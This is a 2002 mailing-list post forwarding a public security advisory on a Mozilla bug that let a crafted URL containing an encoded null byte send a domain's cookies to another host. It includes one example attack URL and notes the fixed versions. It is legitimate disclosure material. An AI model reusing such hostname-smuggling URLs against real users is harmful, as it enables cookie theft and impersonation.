[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Fwd: Mozilla Cookie Exploit

To: luci-discuss@luci.org
Subject: Fwd: Mozilla Cookie Exploit
From: Laszlo Acs <laszlo@lanscape.net>
Date: Thu, 24 Jan 2002 07:43:23 -0600
In-Reply-To: <20020121221718.A13218@osiris.silug.org>
Organization: Linux Users of Central Illinois
Reply-To: luci-discuss@luci.org
Sender: luci-discuss-owner@luci.org
At 10:17 PM 1/21/02 -0600, Steve rambled:
>Somebody please remind me if we already had a topic for this meeting.
>I can't remember, and I'm too laz^H^H^Hbusy to search through my old
>email or the archive.  ;-)
>
>Here are some ideas for things I can talk about, in no particular
>order:
>  . . . Mozilla . . .

OK... so I'm a little laz^H^H^Hbusy, too...

I recall someone asking about that Mozilla cookie exploit during the 
meeting. In case you haven't looked at the BugTraq site or missed the 
meeting, take a gander at this:

>Date: Mon, 21 Jan 2002 21:10:37 -0800 (PST)
>To: bugtraq@securityfocus.com
>Subject: Mozilla Cookie Exploit
>
>A while ago I discovered a bug in Mozilla that lets you steal cookies for
>any domain by convincing the browser to load a specially formatted URL; I
>have been too busy to get around to making the details known earlier, so
>here they are.  This is similar to holes that have been found, both by
>myself and by others, previous in IE.  Details available at
>http://alive.znep.com/~marcs/security/mozillacookie/ and are also included
>below.  Update to Netscape 6.2.1 or Mozilla 0.9.7 for a fix.  Using open
>source products doesn't magically make you invulnerable to security
>problems like those that plague Microsoft.
>
>
>                            Mozilla Cookie Exploit
>                         Marc Slemko <marcs@znep.com>
>                 Last Modified: $Date: 2002/01/22 05:06:04 $
>                               $Revision: 1.6 $
>
>Table of Contents
>
>    [1]Executive Summary
>    [2]What's New
>    [3]Background
>    [4]Details
>    [5]Example Exploit
>
>Executive Summary
>
>    Cookies are often used to identify and authenticate users to a
>    website. If an attacker can steal a user's cookies, then they can
>    impersonate that user. The completeness of the impersonation and the
>    actions the attacker can perform as that user depend on how the
>    particular site uses the cookies.
>
>    This bug in Mozilla allows an attacker to, if he can convince the
>    user's browser to load a given URL, steal their cookies for any given
>    domain. It does not require that active scripting is enabled in the
>    browser, and can be done with something as simple as an image tag,
>    allowing for hassle free use in HTML email, web based email services,
>    etc.
>
>    As expected, this bug is also present in Netscape 6.1. Upgrade to
>    Netscape 6.2.1 or Mozilla 0.9.7 or higher, which fix this bug.
>
>    The take-away message is that, due to implementation bugs in browser
>    and in web applications, cookies can be stolen. It is critical that
>    any application that depends on cookies does so with an understanding
>    of this fact, and takes appropriate measures to limit the damage that
>    can be done using stolen cookies.
>
>What's New
>
>      * Current Status Summary: (last updated Mon Jan 21 20:48:17 PST
>        2002) I finally got around to making this vulnerability public.
>      * mid-Jan 2002: Netscape put up a [6]note on their site saying that
>        there was a security hole that they fixed.
>      * Sometime between when I reported this bug to Netscape and when I
>        made it public: This bug was fixed with the release of Netscape
>        6.2.1 and Mozilla 0.9.7.
>      * November 15, 2001: I reported this bug to Netscape via their
>        security bug submission form. I had trouble finding a documented
>        method for submitting security bugs to mozilla.org, but eventually
>        figured out that security@mozilla.org existed. In any case, both
>        submissions found their way to the same contact at Netscape.
>
>Background
>
>    Cookies are the mechanism used by most websites to identify and
>    authenticate a user. If you can steal someone's cookies, you can trick
>    the server into thinking you are them. Exactly what this gains you
>    depends on the application and how it is designed. It may gain you
>    very little, or it may gain you a whole lot (eg. [7]Microsoft Passport
>    to Trouble). For more information about cookies, see [8]The Unofficial
>    Cookie FAQ.
>
>    Cookies are set with a specific hostname or a domain, so that they are
>    only sent to that host or domain, with an exception or two that I
>    won't go into here. They can also be set with a specific path, or with
>    the secure flag, which means they will only be sent if the connection
>    is a SSL connection. Normally, this should mean that only the server
>    that set the cookie, or others it is operating in cooperation with
>    (eg. in the same domain) can read it.
>
>    Mozilla has a bug that lets you bypass this protection and steal
>    cookies for any domain. This is quite similar to bugs found in
>    Microsoft Internet Explorer in the past, such as [9]this one and
>    [10]this one. As has been shown time and time again, there are many
>    security flaws in many Microsoft products. Sadly, they are far from
>    being alone. There is almost certainly no web browser out there that
>    is functional enough to browse a significant percent of current
>    popular websites and that does not have similar security holes.
>
>Details
>
>    The details are very trivial. Loading a URL such as:
>         http://alive.znep.com%00www.passport.com/cgi-bin/cookies
>
>    ...will cause Mozilla to connect to the hostname specified before the
>    "%00", but send the cookies to the server based on the entire
>    hostname. The "%00" is the URL encoded version of the null character,
>    used in C to terminate strings.
>
>    This exploit can be used to steal cookies with a specific path set,
>    and can be used to steal cookies with the secure flag set, by using
>    the specific path and SSL in the request URL. Note, however, that
>    cookies set for a specific hostname (eg. "www.passport.com") can not
>    be stolen using this method, but only cookies set for an entire domain
>    (eg. ".passport.com").
>
>    This bug was first tested on Netscape 6.1 on Windows 2000 and Mozilla
>    0.9.5 build 2001111503 and 0.9.5 build 20011012 on Linux. It is
>    expected that all Netscape 6.x and Mozilla versions prior to the
>    recently released fixed versions are vulnerable.
>
>Example Exploit
>
>    An example exploit [11]is available. Very straightforward.
>      _________________________________________________________________
>
>    $Id: index.html,v 1.6 2002/01/22 05:06:04 marcs Exp marcs $
>      _________________________________________________________________
>
>References
>
>    1. http://alive.znep.com/~marcs/security/mozillacookie/#executivesummary
>    2. http://alive.znep.com/~marcs/security/mozillacookie/#history
>    3. http://alive.znep.com/~marcs/security/mozillacookie/#background
>    4. http://alive.znep.com/~marcs/security/mozillacookie/#details
>    5. http://alive.znep.com/~marcs/security/mozillacookie/#example
>    6. http://home.netscape.com/security/
>    7. http://alive.znep.com/~marcs/passport/
>    8. http://www.cookiecentral.com/faq/
>    9. http://alive.znep.com/~marcs/security/iecookie1/
>   10. http://alive.znep.com/~marcs/security/iecookie2/
>   11. http://alive.znep.com/~marcs/security/mozillacookie/demo.html




-
To unsubscribe, send email to majordomo@luci.org with
"unsubscribe luci-discuss" in the body.
References:
- 2002-01-22 meeting
  - From: Steven Pritchard <steve@silug.org>
Prev by Date: Re: apache and sending mail through perl scripts...
Next by Date: Re: apache and sending mail through perl scripts...
Prev by thread: 2002-01-22 meeting
Next by thread: understanding mib files
Index(es):
- Date
- Thread